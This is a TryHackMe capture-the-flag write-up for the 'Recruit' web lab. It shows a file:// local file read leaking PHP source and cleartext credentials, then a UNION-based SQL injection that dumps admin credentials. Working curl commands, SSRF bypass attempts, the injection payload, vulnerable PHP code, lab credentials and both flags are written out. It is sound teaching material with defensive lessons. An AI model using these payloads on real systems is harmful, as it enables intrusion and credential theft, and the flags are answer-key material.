Table of Contents
Recruit - TryHackMe CTF Write-Up #
🏴 Platform: TryHackMe
🔬 Category: Web
🟠 Difficulty: Easy/Medium
📅 Date: 2026-06-13
✍️ Author: t0nt0n
⏱️ Reading time: ~5 min
Capstone of the "Web Application Vulnerabilities I" path. The goal: foothold as a normal user, then escalate to admin. Two flags. The challenge chains a broken SSRF/LFR filter into a UNION-based SQL injection.
Reconnaissance #
Target: http://10.128.177.148/. Apache/2.4.41 (Ubuntu), PHP, PHPSESSID cookie.
The home page is a login form (POST username/password) with a footer link to api.php.
api.php is a FAQ that hands over the attack surface for free:
- The API fetches candidate CVs via
/file.php?cv=<URL> - Supported schemes: HTTP and HTTPS
- "Requests targeting restricted locations may be blocked"
That is an SSRF endpoint announced in the documentation. file.php with no parameter returns Missing cv parameter.
Rabbit Holes #
The cv= filter looks like a classic SSRF at first, so the obvious moves all fail:
- HTTP to internal hosts: every variant returns
Only local files are allowed.cv=http://127.0.0.1/ -> Only local files are allowed cv=http://localhost/ -> Only local files are allowed cv=http://169.254.169.254/ -> Only local files are allowed - SSRF host-parser bypasses: decimal/octal IP, IPv6, trailing dot,
@userinfo, mixed case. All rejected the same way.http://2130706433/ http://0177.0.0.1/ http://[::1]/ http://localhost@127.0.0.1/ http://127.0.0.1./ HTTP://127.0.0.1/ php://filterand path traversal oncv=also returnOnly local files are allowed.
The FAQ about HTTP/HTTPS support is a red herring. The filter does not care about SSRF host tricks: it only accepts a file:// prefix. The "restricted locations" hint points at a path allowlist, not an IP blocklist.
Also note the admin login path is a dead end for injection: index.php uses a prepared statement for the admin user, so the password check there is not injectable. The credential has to come from somewhere else.

Exploitation #
1. Arbitrary local file read via file:// #
Only one scheme passes the prefix check, and it gives a local file read:
1T=http://10.128.177.148
2curl -s -G "$T/file.php" --data-urlencode "cv=file:///var/www/html/file.php"
The leaked file.php source explains the filter:
1if (strpos($cv, 'file://') !== 0) { die('Only local files are allowed'); }
2$filePath = str_replace('file://', '', $cv);
3$realPath = realpath($filePath);
4$allowedBase = '/var/www/html';
5if ($realPath === false || strpos($realPath, $allowedBase) !== 0) {
6 die('Access denied');
7}
8echo file_get_contents($realPath);
So: must start with file://, and realpath() must stay under /var/www/html. That blocks /etc/passwd and /var/www/db.php (Access denied), but the entire web root is readable.
2. Source disclosure leaks HR credentials #
Dumping config.php:
Reveal leaked config
1$HR_PASSWORD = 'hrpassword123'; // "temporary" cleartext HR password
And index.php reveals the matching username is hardcoded as hr:
1if ($username === "hr" && $password === $HR_PASSWORD) {
2 $_SESSION['user'] = 'hr'; $_SESSION['role'] = 'hr';
3 header('Location: dashboard.php');
4}
3. Foothold as HR (user flag) #
1curl -s -c j -b j -d "username=hr&password=hrpassword123&login=1" "$T/index.php"
2curl -s -c j -b j "$T/dashboard.php"
The dashboard renders the HR flag plus a candidate table and a ?search= form.
4. UNION SQLi on the search field (admin password) #
The dashboard.php source shows the search is concatenated raw, and SQL errors are echoed back:
1$search = $_GET['search'];
2$query = "SELECT * FROM candidates WHERE name LIKE '%$search%'";
candidates exposes 4 columns (id, name, position, status). The admin password lives in a separate users table that the prepared-statement login reads from. Pull it with a UNION:
1PAY="' UNION SELECT 1,username,password,4 FROM users-- -"
2curl -s -b j -G "$T/dashboard.php" --data-urlencode "search=$PAY"
Result row:
Reveal dumped admin credentials
admin : admin@001admin
Column count was confirmed by the successful UNION (MySQL errors on a column mismatch, and errors are displayed here). Black-box, the rigorous way is
' ORDER BY N-- -incrementing until "Unknown column", orUNION SELECT NULL,NULL,....
5. Escalate to admin (admin flag) #
1curl -s -c a -b a -d "username=admin&password=admin@001admin&login=1" "$T/index.php"
2curl -s -c a -b a "$T/dashboard.php"
The admin dashboard prints the admin flag.
Flag #
Reveal Flag (normal user)
THM{LOGGED_IN_USER}
Reveal Flag (admin)
THM{LOGGED_IN_ADM1N1}
Tools Used #
curl(recon, LFR, authenticated requests, SQLi)- Burp Suite (request inspection)
grep/sed(parsing the candidate table out of the HTML)
Lessons Learned #
- A documented "feature" (
file.php?cv=) is attack surface. The API FAQ named the endpoint and its restriction for free. - When SSRF host bypasses uniformly fail with one fixed message, stop fuzzing IPs and read the filter: here it was a
file://prefix +realpathallowlist, i.e. a local file read, not an SSRF. - Source disclosure compounds:
config.phpgave cleartext HR creds,dashboard.phpgave the injectable query. - Parameterizing one query (
adminlogin) while concatenating another (search) leaves the same data reachable through the weaker path. Defense has to be consistent across every query.